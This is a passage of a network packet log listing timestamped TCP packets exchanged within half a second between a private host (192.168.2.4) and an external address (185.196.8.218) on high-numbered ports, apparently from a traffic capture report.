Dec 27, 2024 09:09:13.278798103 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.278857946 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.279514074 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.279603958 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.279700041 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.280283928 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.280406952 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.280466080 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.281085014 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.281155109 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.281299114 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.281780958 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.329483986 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.442164898 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.442280054 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.442398071 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.442430019 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.442580938 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.442838907 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.443209887 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.443325996 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.443391085 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.443979979 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.444084883 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.444142103 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.444762945 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.444895029 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.445192099 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.445558071 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.445671082 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.445719004 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.446342945 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.446471930 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.446964979 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.447218895 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.447376966 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.447921991 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.448014975 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.448018074 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.448066950 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.448666096 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.448765039 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.448903084 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.449496984 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.449584961 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.449683905 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.450242043 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.450365067 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.450424910 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.451041937 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.451145887 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.451464891 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.451831102 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.451945066 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.452034950 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.452636003 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.452725887 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.452780962 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.453401089 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.453475952 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.454173088 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.454222918 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.454293013 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.454345942 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.454950094 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.455048084 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.455246925 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.455729961 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.455847025 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.455985069 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.456484079 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.456614971 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.456675053 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.457351923 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.457396984 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.457585096 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.458117008 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.458267927 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.458349943 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.458873987 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.458976984 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.459039927 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.459676027 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.459765911 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.459841967 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.460549116 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.460700035 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.461383104 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.461448908 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.461529970 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.461584091 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.462080002 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.462157965 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.462529898 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.462796926 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.462903976 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.462954044 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.463604927 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.463758945 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.463818073 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.464358091 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.464468002 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.464636087 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.465159893 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.465248108 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.465308905 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.465929031 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.466032982 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.466150999 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.466721058 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.466917992 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.467474937 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.467578888 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.467591047 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.467647076 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.468302011 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.468424082 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.469099998 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.469144106 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.469170094 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.469212055 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.469873905 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.469950914 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.470696926 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.470751047 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.470777035 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.470793009 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.471426964 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.471519947 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.471585035 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.472312927 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.472397089 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.473010063 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.473064899 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.473139048 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.473238945 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.474783897 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.474865913 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.474878073 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.474934101 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.474981070 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.475038052 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.475322008 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.475433111 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.475531101 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.476142883 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.476219893 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.476974010 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.477037907 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.477159023 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.477216005 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.478827953 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.478904009 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.478914976 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.478962898 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.479531050 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.479590893 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.479619026 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.479630947 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.479672909 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.480101109 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.480211973 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.480293989 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.480822086 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.480950117 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.481050968 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.481599092 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.481746912 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.482409954 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.482461929 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.482485056 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.482511997 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.483125925 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.536405087 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.643354893 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.643420935 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.643498898 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.643662930 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.643764019 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.644520044 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.644629002 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.644633055 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.644684076 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.645287991 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.645349979 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.646040916 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.646132946 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.646146059 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.646194935 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.646840096 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.646905899 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.647583008 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.647666931 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.647702932 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.647795916 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.648392916 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.648498058 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.649180889 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.649202108 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.649246931 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.649322987 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.649986982 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.650043011 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.650122881 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.650718927 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.650860071 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.651262999 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.651508093 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.651629925 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.652273893 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.652343035 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.652385950 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.652458906 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.653080940 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.653188944 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.653839111 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.653909922 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.653940916 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.654061079 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.654627085 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.654728889 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.654973984 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.655415058 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.655909061 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.656203985 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.656289101 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.656321049 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.656398058 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.656991959 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.657104015 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.657807112 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.657871962 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.657886028 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.657958031 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.658565998 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.658684015 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.659032106 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.659410000 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.659481049 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.660145044 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.660252094 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.660273075 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.660325050 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.660967112 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.661046982 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.661675930 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.661767960 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.661825895 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.661825895 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.662473917 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.662560940 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.662996054 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.663260937 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.663393974 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.664057016 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.664115906 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.664125919 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.664200068 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.664834023 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.664922953 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.664971113 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.665612936 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.665708065 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.665796995 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.666399956 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.666488886 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.666757107 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.667218924 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.667330027 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.667610884 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.667983055 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.668056011 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.668111086 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.668745995 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.668889999 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.669554949 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.669610023 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.669728994 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.669816017 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.670356989 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.670425892 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.670659065 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.671148062 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.671356916 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.671442032 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.671950102 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.672068119 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.672138929 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.672708988 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.672859907 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.673541069 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.673620939 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.673630953 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.673671961 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.674222946 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.674325943 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.675024986 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.675070047 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.675128937 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.675185919 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.675772905 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.675896883 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.676636934 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.676728964 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.676753998 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.676826954 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.677365065 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.677443027 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.678163052 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.678230047 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.678251028 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.678322077 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.678978920 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.679065943 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.679142952 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.679719925 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.679811954 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.680529118 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.680603027 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.680634975 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.680718899 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.681308031 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.681396008 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.682066917 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.682163954 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.682176113 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.682276011 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.682900906 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.682972908 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.683140039 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:13.683646917 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.683741093 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:13.684381962 CET	56711	49731	185.196.8.218	192.168.2.4
